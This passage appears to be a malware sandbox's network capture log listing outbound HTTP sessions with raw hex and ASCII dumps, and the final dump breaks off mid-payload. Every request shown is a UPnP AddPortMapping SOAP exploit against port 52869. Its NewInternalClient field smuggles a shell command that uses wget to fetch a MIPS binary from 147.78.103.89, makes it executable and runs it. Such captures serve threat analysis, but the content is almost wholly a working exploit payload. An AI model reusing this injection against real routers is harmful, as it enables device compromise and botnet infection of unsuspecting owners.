                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:54.937223911 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:44.087693930 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      48192.168.2.153884045.42.81.16452869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:06.848701954 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      49192.168.2.1547280185.11.214.4752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:06.906009912 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:08.026643038 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:09.370640039 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 